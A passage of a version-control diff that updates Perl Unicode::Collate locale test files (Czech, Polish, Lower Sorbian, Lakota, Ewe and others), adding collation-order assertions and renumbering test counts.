 
 ok($objAz->eq("c\x{327}", pack('U', 0xE7)));
 ok($objAz->eq("C\x{327}", pack('U', 0xC7)));
@@ -114,7 +125,7 @@
 ok($objAz->eq("I\x{328}", "\x{12E}"));
 ok($objAz->eq("I\x{307}", "\x{130}"));
 
-# 59
+# 70
 
 ok($objAz->eq("o\x{308}", pack('U', 0xF6)));
 ok($objAz->eq("O\x{308}", pack('U', 0xD6)));
@@ -133,4 +144,4 @@
 ok($objAz->eq("u\x{308}\x{30C}", "\x{1DA}"));
 ok($objAz->eq("U\x{308}\x{30C}", "\x{1D9}"));
 
-# 75
+# 86

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_cs.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_cs.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_cs.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..37\n"; }
+BEGIN { $| = 1; print "1..42\n"; }
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -41,17 +41,22 @@
 $objCs->change(level => 1);
 
 ok($objCs->lt("c", "c\x{30C}"));
+ok($objCs->lt("cz","c\x{30C}"));
 ok($objCs->gt("d", "c\x{30C}"));
 ok($objCs->lt("h", "ch"));
+ok($objCs->lt("hz","ch"));
 ok($objCs->gt("i", "ch"));
 ok($objCs->lt("r", "r\x{30C}"));
+ok($objCs->lt("rz","r\x{30C}"));
 ok($objCs->gt("s", "r\x{30C}"));
 ok($objCs->lt("s", "s\x{30C}"));
+ok($objCs->lt("sz","s\x{30C}"));
 ok($objCs->gt("t", "s\x{30C}"));
 ok($objCs->lt("z", "z\x{30C}"));
+ok($objCs->lt("zz","z\x{30C}"));
 ok($objCs->lt("z\x{30C}", "\x{292}")); # U+0292 EZH
 
-# 12
+# 17
 
 $objCs->change(level => 2);
 
@@ -59,11 +64,12 @@
 ok($objCs->eq("r\x{30C}", "R\x{30C}"));
 ok($objCs->eq("s\x{30C}", "S\x{30C}"));
 ok($objCs->eq("z\x{30C}", "Z\x{30C}"));
+
 ok($objCs->eq("ch", "cH"));
 ok($objCs->eq("cH", "Ch"));
 ok($objCs->eq("Ch", "CH"));
 
-# 19
+# 24
 
 $objCs->change(level => 3);
 
@@ -71,11 +77,12 @@
 ok($objCs->lt("r\x{30C}", "R\x{30C}"));
 ok($objCs->lt("s\x{30C}", "S\x{30C}"));
 ok($objCs->lt("z\x{30C}", "Z\x{30C}"));
+
 ok($objCs->lt("ch", "cH"));
 ok($objCs->lt("cH", "Ch"));
 ok($objCs->lt("Ch", "CH"));
 
-# 26
+# 31
 
 ok($objCs->eq("c\x{30C}", "\x{10D}"));
 ok($objCs->eq("C\x{30C}", "\x{10C}"));
@@ -86,7 +93,7 @@
 ok($objCs->eq("z\x{30C}", "\x{17E}"));
 ok($objCs->eq("Z\x{30C}", "\x{17D}"));
 
-# 34
+# 39
 
 $objCs->change(upper_before_lower => 1);
 
@@ -94,4 +101,4 @@
 ok($objCs->gt("cH", "Ch"));
 ok($objCs->gt("Ch", "CH"));
 
-# 37
+# 42

Added: vendor/perl/dist/cpan/Unicode-Collate/t/loc_dsb.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_dsb.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_dsb.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,137 @@
+
+BEGIN {
+    unless ('A' eq pack('U', 0x41)) {
+	print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+	exit 0;
+    }
+    unless (0x41 == unpack('U', 'A')) {
+	print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+	exit 0;
+    }
+    if ($ENV{PERL_CORE}) {
+	chdir('t') if -d 't';
+	@INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+    }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..87\n"; }
+my $count = 0;
+sub ok ($;$) {
+    my $p = my $r = shift;
+    if (@_) {
+	my $x = shift;
+	$p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+    }
+    print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate::Locale;
+
+ok(1);
+
+#########################
+
+my $objDsb = Unicode::Collate::Locale->
+    new(locale => 'DSB', normalization => undef);
+
+ok($objDsb->getlocale, 'dsb');
+
+$objDsb->change(level => 1);
+
+my @prim = (
+    "cz", "c\x{30C}", "c\x{301}", "d", # 5
+    "ez", "e\x{30C}", "f",             # 8
+    "hz", "ch", "i",                   # 11
+    "kz", "l\x{335}", "l",             # 14
+    "nz", "n\x{301}", "o",             # 17
+    "rz", "r\x{301}", "s",             # 20
+    "sz", "s\x{30C}", "s\x{301}", "t", # 24
+    "zz", "z\x{30C}", "z\x{301}", "\x{292}" # EZH
+);
+
+for (my $i = 1; $i < @prim; $i++) {
+    ok($objDsb->lt($prim[$i-1], $prim[$i]));
+}
+
+# 28
+
+$objDsb->change(level => 2);
+
+ok($objDsb->eq("c\x{30C}", "C\x{30C}"));
+ok($objDsb->eq("c\x{301}", "C\x{301}"));
+ok($objDsb->eq("e\x{30C}", "E\x{30C}"));
+ok($objDsb->eq("l\x{335}", "L\x{335}"));
+ok($objDsb->eq("n\x{301}", "N\x{301}"));
+ok($objDsb->eq("r\x{301}", "R\x{301}"));
+ok($objDsb->eq("s\x{30C}", "S\x{30C}"));
+ok($objDsb->eq("s\x{301}", "S\x{301}"));
+ok($objDsb->eq("z\x{30C}", "Z\x{30C}"));
+ok($objDsb->eq("z\x{301}", "Z\x{301}"));
+
+ok($objDsb->eq("ch", "cH"));
+ok($objDsb->eq("cH", "Ch"));
+ok($objDsb->eq("Ch", "CH"));
+
+# 41
+
+$objDsb->change(level => 3);
+
+ok($objDsb->lt("c\x{30C}", "C\x{30C}"));
+ok($objDsb->lt("c\x{301}", "C\x{301}"));
+ok($objDsb->lt("e\x{30C}", "E\x{30C}"));
+ok($objDsb->lt("l\x{335}", "L\x{335}"));
+ok($objDsb->lt("n\x{301}", "N\x{301}"));
+ok($objDsb->lt("r\x{301}", "R\x{301}"));
+ok($objDsb->lt("s\x{30C}", "S\x{30C}"));
+ok($objDsb->lt("s\x{301}", "S\x{301}"));
+ok($objDsb->lt("z\x{30C}", "Z\x{30C}"));
+ok($objDsb->lt("z\x{301}", "Z\x{301}"));
+
+ok($objDsb->lt("ch", "cH"));
+ok($objDsb->lt("cH", "Ch"));
+ok($objDsb->lt("Ch", "CH"));
+
+# 54
+
+ok($objDsb->eq("c\x{30C}", "\x{10D}"));
+ok($objDsb->eq("C\x{30C}", "\x{10C}"));
+ok($objDsb->eq("c\x{301}", "\x{107}"));
+ok($objDsb->eq("c\x{341}", "\x{107}"));
+ok($objDsb->eq("C\x{301}", "\x{106}"));
+ok($objDsb->eq("C\x{341}", "\x{106}"));
+ok($objDsb->eq("e\x{30C}", "\x{11B}"));
+ok($objDsb->eq("E\x{30C}", "\x{11A}"));
+ok($objDsb->eq("l\x{335}", "\x{142}"));
+ok($objDsb->eq("L\x{335}", "\x{141}"));
+ok($objDsb->eq("n\x{301}", "\x{144}"));
+ok($objDsb->eq("n\x{341}", "\x{144}"));
+ok($objDsb->eq("N\x{301}", "\x{143}"));
+ok($objDsb->eq("N\x{341}", "\x{143}"));
+ok($objDsb->eq("r\x{301}", "\x{155}"));
+ok($objDsb->eq("r\x{341}", "\x{155}"));
+ok($objDsb->eq("R\x{301}", "\x{154}"));
+ok($objDsb->eq("R\x{341}", "\x{154}"));
+ok($objDsb->eq("s\x{30C}", "\x{161}"));
+ok($objDsb->eq("S\x{30C}", "\x{160}"));
+ok($objDsb->eq("s\x{301}", "\x{15B}"));
+ok($objDsb->eq("s\x{341}", "\x{15B}"));
+ok($objDsb->eq("S\x{301}", "\x{15A}"));
+ok($objDsb->eq("S\x{341}", "\x{15A}"));
+ok($objDsb->eq("z\x{30C}", "\x{17E}"));
+ok($objDsb->eq("Z\x{30C}", "\x{17D}"));
+ok($objDsb->eq("z\x{301}", "\x{17A}"));
+ok($objDsb->eq("z\x{341}", "\x{17A}"));
+ok($objDsb->eq("Z\x{301}", "\x{179}"));
+ok($objDsb->eq("Z\x{341}", "\x{179}"));
+
+# 84
+
+$objDsb->change(upper_before_lower => 1);
+
+ok($objDsb->gt("ch", "cH"));
+ok($objDsb->gt("cH", "Ch"));
+ok($objDsb->gt("Ch", "CH"));
+
+# 87

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_ee.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_ee.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_ee.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..120\n"; }
+BEGIN { $| = 1; print "1..124\n"; }
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -42,40 +42,22 @@
 
 $objEe->change(level => 1);
 
-ok($objEe->lt("d", "d\x{292}"));
-ok($objEe->gt("dz","d\x{292}"));
-ok($objEe->lt("dz","\x{256}"));
-ok($objEe->gt("e", "\x{256}"));
-ok($objEe->lt("e", "\x{25B}"));
-ok($objEe->gt("f", "\x{25B}"));
-ok($objEe->lt("f", "\x{192}"));
-ok($objEe->gt("g", "\x{192}"));
+my @prim = (
+    "d", "d\x{292}", "dz", "\x{256}", # 5
+    "e",  "\x{25B}", "f",  "\x{192}", # 9
+    "g", "gz", "gb", "\x{263}", "h",  # 14
+    "hz", "x", "i", "kz", "kp", "l",  # 20
+    "nz", "ny", "\x{14B}", "o",       # 24
+    "\x{254}", "p", "tz", "ts", "u",  # 29
+    "v", "\x{28B}", "w",
+);
 
-ok($objEe->lt("gz","gb"));
-ok($objEe->lt("gb","\x{263}"));
-ok($objEe->gt("h", "\x{263}"));
-ok($objEe->lt("h", "hz"));
-ok($objEe->lt("hz","x"));
-ok($objEe->lt("x", "i"));
+for (my $i = 1; $i < @prim; $i++) {
+    ok($objEe->lt($prim[$i-1], $prim[$i]));
+}
 
-# 16
+# 32
 
-ok($objEe->lt("kz","kp"));
-ok($objEe->lt("kp","l"));
-ok($objEe->lt("nz","ny"));
-ok($objEe->lt("ny","\x{14B}"));
-ok($objEe->gt("o", "\x{14B}"));
-ok($objEe->lt("o", "\x{254}"));
-ok($objEe->gt("p", "\x{254}"));
-
-ok($objEe->lt("tz","ts"));
-ok($objEe->lt("ts","u"));
-ok($objEe->lt("u", "v"));
-ok($objEe->lt("v", "\x{28B}"));
-ok($objEe->gt("w", "\x{28B}"));
-
-# 28
-
 ok($objEe->eq("\x{302}",  "\x{30C}"));
 ok($objEe->eq("a\x{302}", "a\x{30C}"));
 ok($objEe->eq("A\x{302}", "A\x{30C}"));
@@ -90,7 +72,7 @@
 ok($objEe->eq("y\x{302}", "y\x{30C}"));
 ok($objEe->eq("Y\x{302}", "Y\x{30C}"));
 
-# 41
+# 45
 
 $objEe->change(level => 2);
 
@@ -108,7 +90,7 @@
 ok($objEe->gt("y\x{302}", "y\x{30C}"));
 ok($objEe->gt("Y\x{302}", "Y\x{30C}"));
 
-# 54
+# 58
 
 ok($objEe->eq("dz", "Dz"));
 ok($objEe->eq("Dz", "DZ"));
@@ -129,7 +111,7 @@
 ok($objEe->eq("Ts", "TS"));
 ok($objEe->eq("\x{28B}", "\x{1B2}"));
 
-# 72
+# 76
 
 $objEe->change(level => 3);
 
@@ -152,7 +134,7 @@
 ok($objEe->lt("Ts", "TS"));
 ok($objEe->lt("\x{28B}", "\x{1B2}"));
 
-# 90
+# 94
 
 ok($objEe->eq("a\x{302}", pack('U', 0xE2)));
 ok($objEe->eq("A\x{302}", pack('U', 0xC2)));
@@ -167,7 +149,7 @@
 ok($objEe->eq("y\x{302}", "\x{177}"));
 ok($objEe->eq("Y\x{302}", "\x{176}"));
 
-# 102
+# 106
 
 $objEe->change(upper_before_lower => 1);
 
@@ -190,4 +172,4 @@
 ok($objEe->gt("Ts", "TS"));
 ok($objEe->gt("\x{28B}", "\x{1B2}"));
 
-# 120
+# 124

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_eo.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_eo.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_eo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..38\n"; }
+BEGIN { $| = 1; print "1..44\n"; }
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -41,19 +41,25 @@
 $objEo->change(level => 1);
 
 ok($objEo->lt("c", "c\x{302}"));
+ok($objEo->lt("cz","c\x{302}"));
 ok($objEo->gt("d", "c\x{302}"));
 ok($objEo->lt("g", "g\x{302}"));
+ok($objEo->lt("gz","g\x{302}"));
 ok($objEo->gt("h", "g\x{302}"));
 ok($objEo->lt("h", "h\x{302}"));
+ok($objEo->lt("hz","h\x{302}"));
 ok($objEo->gt("i", "h\x{302}"));
 ok($objEo->lt("j", "j\x{302}"));
+ok($objEo->lt("jz","j\x{302}"));
 ok($objEo->gt("k", "j\x{302}"));
 ok($objEo->lt("s", "s\x{302}"));
+ok($objEo->lt("sz","s\x{302}"));
 ok($objEo->gt("t", "s\x{302}"));
 ok($objEo->lt("u", "u\x{306}"));
+ok($objEo->lt("uz","u\x{306}"));
 ok($objEo->gt("v", "u\x{306}"));
 
-# 14
+# 20
 
 $objEo->change(level => 2);
 
@@ -64,7 +70,7 @@
 ok($objEo->eq("s\x{302}", "S\x{302}"));
 ok($objEo->eq("u\x{306}", "U\x{306}"));
 
-# 20
+# 26
 
 $objEo->change(level => 3);
 
@@ -75,7 +81,7 @@
 ok($objEo->lt("s\x{302}", "S\x{302}"));
 ok($objEo->lt("u\x{306}", "U\x{306}"));
 
-# 26
+# 32
 
 ok($objEo->eq("c\x{302}", "\x{109}"));
 ok($objEo->eq("C\x{302}", "\x{108}"));
@@ -90,4 +96,4 @@
 ok($objEo->eq("u\x{306}", "\x{16D}"));
 ok($objEo->eq("U\x{306}", "\x{16C}"));
 
-# 38
+# 44

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_es.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_es.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_es.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..29\n"; }
+BEGIN { $| = 1; print "1..30\n"; }
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -37,20 +37,21 @@
     new(locale => 'ES', normalization => undef);
 
 ok($objEs->getlocale, 'es');
-ok($objEs->locale_version, 1.19);
+ok($objEs->locale_version, 1.25);
 
 $objEs->change(level => 1);
 
-ok($objEs->lt("cg", "ch"));
-ok($objEs->gt("ci", "ch"));
+ok($objEs->lt("cg","ch"));
+ok($objEs->gt("ci","ch"));
 ok($objEs->gt("d", "ch"));
-ok($objEs->lt("lk", "ll"));
-ok($objEs->gt("lm", "ll"));
+ok($objEs->lt("lk","ll"));
+ok($objEs->gt("lm","ll"));
 ok($objEs->gt("m", "ll"));
 ok($objEs->lt("n", "n\x{303}"));
+ok($objEs->lt("nz","n\x{303}"));
 ok($objEs->gt("o", "n\x{303}"));
 
-# 11
+# 12
 
 ok($objEs->eq("a\x{300}a", "aa\x{300}"));
 
@@ -60,7 +61,7 @@
 ok($objEs->lt("Ca\x{300}ca\x{302}", "ca\x{302}ca\x{300}"));
 ok($objEs->lt("ca\x{300}ca\x{302}", "Ca\x{302}ca\x{300}"));
 
-# 15
+# 16
 
 ok($objEs->eq("ch", "Ch"));
 ok($objEs->eq("Ch", "CH"));
@@ -68,7 +69,7 @@
 ok($objEs->eq("Ll", "LL"));
 ok($objEs->eq("n\x{303}", "N\x{303}"));
 
-# 20
+# 21
 
 $objEs->change(level => 3);
 
@@ -80,7 +81,7 @@
 ok($objEs->eq("n\x{303}", pack('U', 0xF1)));
 ok($objEs->eq("N\x{303}", pack('U', 0xD1)));
 
-# 27
+# 28
 
 $objEs->change(level => 2, ignore_level2 => 1);
 
@@ -87,4 +88,4 @@
 ok($objEs->lt("n", "n\x{303}"));
 ok($objEs->eq("a", "a\x{303}"));
 
-# 29
+# 30

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_estr.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_estr.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_estr.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..27\n"; }
+BEGIN { $| = 1; print "1..28\n"; }
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -37,7 +37,7 @@
     new(locale => 'ES-trad', normalization => undef);
 
 ok($objEsTrad->getlocale, 'es__traditional');
-ok($objEsTrad->locale_version, 1.19);
+ok($objEsTrad->locale_version, 1.25);
 
 $objEsTrad->change(level => 1);
 
@@ -48,9 +48,10 @@
 ok($objEsTrad->lt("lz","ll"));
 ok($objEsTrad->gt("m", "ll"));
 ok($objEsTrad->lt("n", "n\x{303}"));
+ok($objEsTrad->lt("nz","n\x{303}"));
 ok($objEsTrad->gt("o", "n\x{303}"));
 
-# 11
+# 12
 
 ok($objEsTrad->eq("a\x{300}a", "aa\x{300}"));
 
@@ -60,7 +61,7 @@
 ok($objEsTrad->lt("Ca\x{300}ca\x{302}", "ca\x{302}ca\x{300}"));
 ok($objEsTrad->lt("ca\x{300}ca\x{302}", "Ca\x{302}ca\x{300}"));
 
-# 15
+# 16
 
 ok($objEsTrad->eq("ch", "Ch"));
 ok($objEsTrad->eq("Ch", "CH"));
@@ -68,7 +69,7 @@
 ok($objEsTrad->eq("Ll", "LL"));
 ok($objEsTrad->eq("n\x{303}", "N\x{303}"));
 
-# 20
+# 21
 
 $objEsTrad->change(level => 3);
 
@@ -80,4 +81,4 @@
 ok($objEsTrad->eq("n\x{303}", pack('U', 0xF1)));
 ok($objEsTrad->eq("N\x{303}", pack('U', 0xD1)));
 
-# 27
+# 28

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_et.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_et.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_et.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -94,14 +94,14 @@
 
 # 40
 
-ok($objEt->eq("o\x{303}\x{301}","\x{1E4D}"));
-ok($objEt->eq("O\x{303}\x{301}","\x{1E4C}"));
+ok($objEt->eq("o\x{303}\x{301}", "\x{1E4D}"));
+ok($objEt->eq("O\x{303}\x{301}", "\x{1E4C}"));
 ok($objEt->eq("o\x{303}\x{304}", "\x{22D}"));
 ok($objEt->eq("O\x{303}\x{304}", "\x{22C}"));
-ok($objEt->eq("o\x{303}\x{308}","\x{1E4F}"));
-ok($objEt->eq("O\x{303}\x{308}","\x{1E4E}"));
-ok($objEt->eq("o\x{303}\x{31B}","\x{1EE1}"));
-ok($objEt->eq("O\x{303}\x{31B}","\x{1EE0}"));
+ok($objEt->eq("o\x{303}\x{308}", "\x{1E4F}"));
+ok($objEt->eq("O\x{303}\x{308}", "\x{1E4E}"));
+ok($objEt->eq("o\x{303}\x{31B}", "\x{1EE1}"));
+ok($objEt->eq("O\x{303}\x{31B}", "\x{1EE0}"));
 ok($objEt->eq("a\x{308}\x{304}", "\x{1DF}"));
 ok($objEt->eq("A\x{308}\x{304}", "\x{1DE}"));
 ok($objEt->eq("o\x{308}\x{304}", "\x{22B}"));

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_fil.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_fil.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_fil.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..17\n"; }
+BEGIN { $| = 1; print "1..19\n"; }
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -42,10 +42,12 @@
 
 ok($objFil->lt("n", "n\x{303}"));
 ok($objFil->lt("nz","n\x{303}"));
-ok($objFil->lt("n\x{303}", "ng"));
+ok($objFil->gt("ng","n\x{303}"));
+ok($objFil->gt("ng","n\x{303}z"));
 ok($objFil->gt("o", "ng"));
+ok($objFil->gt("o", "ngz"));
 
-# 6
+# 8
 
 $objFil->change(level => 2);
 
@@ -53,7 +55,7 @@
 ok($objFil->eq("Ng", "NG"));
 ok($objFil->eq("n\x{303}", "N\x{303}"));
 
-# 9
+# 11
 
 $objFil->change(level => 3);
 
@@ -63,7 +65,7 @@
 ok($objFil->eq("n\x{303}", pack('U', 0xF1)));
 ok($objFil->eq("N\x{303}", pack('U', 0xD1)));
 
-# 14
+# 16
 
 $objFil->change(upper_before_lower => 1);
 
@@ -71,4 +73,4 @@
 ok($objFil->gt("Ng", "NG"));
 ok($objFil->gt("n\x{303}", "N\x{303}"));
 
-# 17
+# 19

Added: vendor/perl/dist/cpan/Unicode-Collate/t/loc_lkt.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_lkt.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_lkt.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,92 @@
+
+BEGIN {
+    unless ('A' eq pack('U', 0x41)) {
+	print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+	exit 0;
+    }
+    unless (0x41 == unpack('U', 'A')) {
+	print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+	exit 0;
+    }
+    if ($ENV{PERL_CORE}) {
+	chdir('t') if -d 't';
+	@INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+    }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..37\n"; }
+my $count = 0;
+sub ok ($;$) {
+    my $p = my $r = shift;
+    if (@_) {
+	my $x = shift;
+	$p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+    }
+    print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate::Locale;
+
+ok(1);
+
+#########################
+
+my $objLkt = Unicode::Collate::Locale->
+    new(locale => 'LKT', normalization => undef);
+
+ok($objLkt->getlocale, 'lkt');
+
+$objLkt->change(level => 1);
+
+ok($objLkt->lt("c", "c\x{30C}"));
+ok($objLkt->lt("cz","c\x{30C}"));
+ok($objLkt->gt("d", "c\x{30C}"));
+ok($objLkt->lt("g", "g\x{30C}"));
+ok($objLkt->lt("gz","g\x{30C}"));
+ok($objLkt->gt("h", "g\x{30C}"));
+ok($objLkt->lt("h", "h\x{30C}"));
+ok($objLkt->lt("hz","h\x{30C}"));
+ok($objLkt->gt("i", "h\x{30C}"));
+ok($objLkt->lt("s", "s\x{30C}"));
+ok($objLkt->lt("sz","s\x{30C}"));
+ok($objLkt->gt("t", "s\x{30C}"));
+ok($objLkt->lt("z", "z\x{30C}"));
+ok($objLkt->lt("zz", "z\x{30C}"));
+ok($objLkt->lt("z\x{30C}", "\x{292}")); # U+0292 EZH
+
+# 17
+
+$objLkt->change(level => 2);
+
+ok($objLkt->eq("c\x{30C}", "C\x{30C}"));
+ok($objLkt->eq("g\x{30C}", "G\x{30C}"));
+ok($objLkt->eq("h\x{30C}", "H\x{30C}"));
+ok($objLkt->eq("s\x{30C}", "S\x{30C}"));
+ok($objLkt->eq("z\x{30C}", "Z\x{30C}"));
+
+# 22
+
+$objLkt->change(level => 3);
+
+ok($objLkt->lt("c\x{30C}", "C\x{30C}"));
+ok($objLkt->lt("g\x{30C}", "G\x{30C}"));
+ok($objLkt->lt("h\x{30C}", "H\x{30C}"));
+ok($objLkt->lt("s\x{30C}", "S\x{30C}"));
+ok($objLkt->lt("z\x{30C}", "Z\x{30C}"));
+
+# 27
+
+ok($objLkt->eq("c\x{30C}", "\x{10D}"));
+ok($objLkt->eq("C\x{30C}", "\x{10C}"));
+ok($objLkt->eq("g\x{30C}", "\x{1E7}"));
+ok($objLkt->eq("G\x{30C}", "\x{1E6}"));
+ok($objLkt->eq("h\x{30C}", "\x{21F}"));
+ok($objLkt->eq("H\x{30C}", "\x{21E}"));
+ok($objLkt->eq("s\x{30C}", "\x{161}"));
+ok($objLkt->eq("S\x{30C}", "\x{160}"));
+ok($objLkt->eq("z\x{30C}", "\x{17E}"));
+ok($objLkt->eq("Z\x{30C}", "\x{17D}"));
+
+# 37

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_pl.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_pl.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_pl.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..65\n"; }
+BEGIN { $| = 1; print "1..73\n"; }
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -41,24 +41,32 @@
 $objPl->change(level => 1);
 
 ok($objPl->lt("a", "a\x{328}"));
+ok($objPl->lt("az","a\x{328}"));
 ok($objPl->gt("b", "a\x{328}"));
 ok($objPl->lt("c", "c\x{301}"));
+ok($objPl->lt("cz","c\x{301}"));
 ok($objPl->gt("d", "c\x{301}"));
 ok($objPl->lt("e", "e\x{328}"));
+ok($objPl->lt("ez","e\x{328}"));
 ok($objPl->gt("f", "e\x{328}"));
 ok($objPl->lt("l", "l\x{335}"));
+ok($objPl->lt("lz","l\x{335}"));
 ok($objPl->gt("m", "l\x{335}"));
 ok($objPl->lt("n", "n\x{301}"));
+ok($objPl->lt("nz","n\x{301}"));
 ok($objPl->gt("o", "n\x{301}"));
 ok($objPl->lt("o", "o\x{301}"));
+ok($objPl->lt("oz","o\x{301}"));
 ok($objPl->gt("p", "o\x{301}"));
 ok($objPl->lt("s", "s\x{301}"));
+ok($objPl->lt("sz","s\x{301}"));
 ok($objPl->gt("t", "s\x{301}"));
 ok($objPl->lt("z", "z\x{301}"));
+ok($objPl->lt("zz","z\x{301}"));
 ok($objPl->lt("z\x{301}", "z\x{307}"));
 ok($objPl->lt("z\x{307}", "\x{292}")); # U+0292 EZH
 
-# 19
+# 27
 
 $objPl->change(level => 2);
 
@@ -72,7 +80,7 @@
 ok($objPl->eq("z\x{301}", "Z\x{301}"));
 ok($objPl->eq("z\x{307}", "Z\x{307}"));
 
-# 28
+# 36
 
 $objPl->change(level => 3);
 
@@ -86,7 +94,7 @@
 ok($objPl->lt("z\x{301}", "Z\x{301}"));
 ok($objPl->lt("z\x{307}", "Z\x{307}"));
 
-# 37
+# 45
 
 ok($objPl->eq("a\x{328}", "\x{105}"));
 ok($objPl->eq("A\x{328}", "\x{104}"));
@@ -117,4 +125,4 @@
 ok($objPl->eq("z\x{307}", "\x{17C}"));
 ok($objPl->eq("Z\x{307}", "\x{17B}"));
 
-# 65
+# 73

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_se.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_se.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_se.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -257,14 +257,14 @@
 
 ok($objSe->eq("o\x{308}\x{304}", "\x{22B}"));
 ok($objSe->eq("O\x{308}\x{304}", "\x{22A}"));
-ok($objSe->eq("o\x{303}\x{301}","\x{1E4D}"));
-ok($objSe->eq("O\x{303}\x{301}","\x{1E4C}"));
+ok($objSe->eq("o\x{303}\x{301}", "\x{1E4D}"));
+ok($objSe->eq("O\x{303}\x{301}", "\x{1E4C}"));
 ok($objSe->eq("o\x{303}\x{304}", "\x{22D}"));
 ok($objSe->eq("O\x{303}\x{304}", "\x{22C}"));
-ok($objSe->eq("o\x{303}\x{308}","\x{1E4F}"));
-ok($objSe->eq("O\x{303}\x{308}","\x{1E4E}"));
-ok($objSe->eq("o\x{303}\x{31B}","\x{1EE1}"));
-ok($objSe->eq("O\x{303}\x{31B}","\x{1EE0}"));
+ok($objSe->eq("o\x{303}\x{308}", "\x{1E4F}"));
+ok($objSe->eq("O\x{303}\x{308}", "\x{1E4E}"));
+ok($objSe->eq("o\x{303}\x{31B}", "\x{1EE1}"));
+ok($objSe->eq("O\x{303}\x{31B}", "\x{1EE0}"));
 
 ok($objSe->eq("o\x{302}\x{300}", "\x{1ED3}"));
 ok($objSe->eq("O\x{302}\x{300}", "\x{1ED2}"));

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_wo.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_wo.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_wo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..40\n"; }
+BEGIN { $| = 1; print "1..44\n"; }
 my $count = 0;
